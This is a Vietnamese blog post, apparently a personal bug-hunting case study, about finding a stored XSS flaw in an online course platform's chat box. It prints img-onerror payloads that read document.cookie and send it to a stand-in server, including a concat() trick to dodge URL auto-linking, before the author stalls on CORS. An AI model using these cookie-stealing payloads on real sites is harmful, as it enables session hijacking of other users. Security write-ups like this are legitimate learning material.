[Case study 2] THE JOURNEY FROM KNOWLEDGE TO KNOWLEDGE

0
case study hacking

1. FROM AN EDUCATION TO ANOTHER ONE

Hế lô cả nhà. Lại là mình, thanh niên thích chơi trốn tìm đây. Sau 1 khoảng thời gian dài ơi là dài vắng bóng- thực ra là khoảng thời gian ăn hại- hôm nay mình sẽ trở lại với con bug tiếp theo mà mình mới tìm được gần đây. Nhân tiện thì cũng xin các bậc trưởng bối chỉ bảo thêm ạ.

Chẳng là trong thời gian Cô Vít Nai Tin hoành hành, an hem đồng môn người thì về núi ẩn cư, kẻ đi tìm miền đại dương xanh thẳm, mỗi mình mình ở lại cái Sài Gòn xa hoa tráng lệ này nên đâm ra nó chán chả có ai đàm đạo cùng. Mình quyết định đăng kí 1 khóa học online, phần vì được giao lưu mở mang tầm mắt, phần vì muốn được nói chuyện, chia sẻ với người khác cho đỡ buồn. Mọi thứ đều ngon nghẻ cả, khóa học mình đăng kí khá ổn, ban đầu mình chỉ chú tâm vào học thôi. Sau một thời gian học, mình nhận thấy hệ thống thường xuyên có thông báo cập nhật bảo trì. Quái hệ thống to tổ bố thế này mà không lẽ lắm vấn đề thế? Mình quyết định “đục đẽo” sơ bộ coi nó thực sự có vấn đề không?

2. HEY, TAKING A LOOK AT SIMPLE THINGS.

Vì là hệ thống production “nhà người ta” nên mình không dám manh động gì cả, chỉ vọc các site mà mình có thể sử dụng được thôi. Sau 1 thời gian vọc vạch “en nờ” cái subdomain, “mình bắt đầu từ tay trắng và trở về với trắng tay” ?). Cho đến một ngày, mình đang học và và… mình thấy có cái feature khá là familiar mà mình chưa hề test. Đó là cái chat box.

Tính năng khá đơn giản: Cho người dùng nhập vào nội dung chat, nhấn Enter và … vù nó hiện lên trên. May mắn cho mình là mỗi lớp học có 1 ID riêng và khi mình đã join và lớp thì mình có thể vào bất kì lúc nào mình muốn. Mình quyết định sẽ test sau giờ học để tránh ảnh hưởng tới classmate. Đúng như mình dự đoán, cái feature này không hề được filter input từ người dùng. Nó chỉ đơn giản là 1 cái thẻ <p>. Ban đầu, mình test với script tag nhưng nó không chạy vì script tag nằm trong p tag, mình thử với img tag thì …

Ở đây mình sử dụng input như sau: hello everyone <img src=x onerror=”alert(document.cookie)” style=”display:none”>

Và đây là kết quả:

3. TRY YOUR BEST

Đến đoạn này mình hoàn toàn có thể report 1 lỗi Stored XSS cho nhà phát triển. Tuy nhiên mình muốn thử khai thác sâu hơn 1 chút để biết có những vấn đề gì có thể xảy ra với mình- tất nhiên là chỉ có mình mình trong những lớp đã “bỏ trống” thôi. Phần này sẽ là phần chia sẻ của 1 thằng noober, các cao nhân có nhìn thấy thì chỉ giúp mình hoặc nhăn mày 1 cái rồi bỏ đi cũng được, đừng chửi mình tội nghiệp :’(.

Vấn đề đầu tiên đó là việc tạo request. Lúc đầu mình tạo 1 cái input như sau:

<img src=x onerror="javascript:var xmlHttp= new XMLHttpRequest();xmlHttp.open('POST',’https://myownwebserver.com?p='+document.cookie,true); xmlHttp.send(null);" style="display:none">

Mọi người biết mình có gì không? Nothing, mịa nó chả có gì cả. Bởi vì cái url được truyền vô ngay lập tức nó bị chuyển thành 1 a tag, like this:

Mình không biết đây có phải là tính năng của Chrome không nữa. Và vâng, mình chưa thấy nó bao giờ luôn. Sau 1 hồi google search và làm đủ trò, mình mò được 1 cách. Đó là hàm concat() của javascript. Hàm này cho phép nối các chuỗi với nhau. Và để bypass qua cái issue này mình dùng payload như sau:

<img src=x onerror='javascript:var xmlHttp= new XMLHttpRequest();xmlHttp.open("POST",("https:".concat("//myownwebserver ",".","com",”?p=",document.cookie)).toString()),true)); xmlHttp.send(null);' style="display:none">

Với payload này mình đã thoát được cái stuck đầu tiên.

4. DO NOT BE A NOOBER.

Nhưng cuộc chơi mà đơn giản quá nó mất vui, nhưng vui thôi đừng vui quá. Case này thuộc trường hợp quá ☹, sau khi có được pay load thì … BOOOMMMM

Một cái log màu sắc sặc sỡ và khá bắt mắt hiện lên, nhưng nội dung thì không hề bắt mắt và make your emotion be better 1 chút nào. Đó là CORS policy. Trăm nghe không bằng một thấy, thấy xong hết muốn làm luôn ☹(, mình đã cố tìm tất cả mọi thứ liên quan đến nó, mặc dù header Access-Controll-Allow-Origin:* nhưng mình vẫn không thể làm gì hơn đươc, mình bị stuck luôn ở đây. Đó là 1 lời cảnh báo dành cho mình: I AM SO F**KING NOOB.

Mình dành vài ngày để nghiên cứu về nó nhưng có vẻ vẫn no way to escape.

Xem thêm: [Case Study 1] IT-SEC The Dawning

5/5 (1 Review)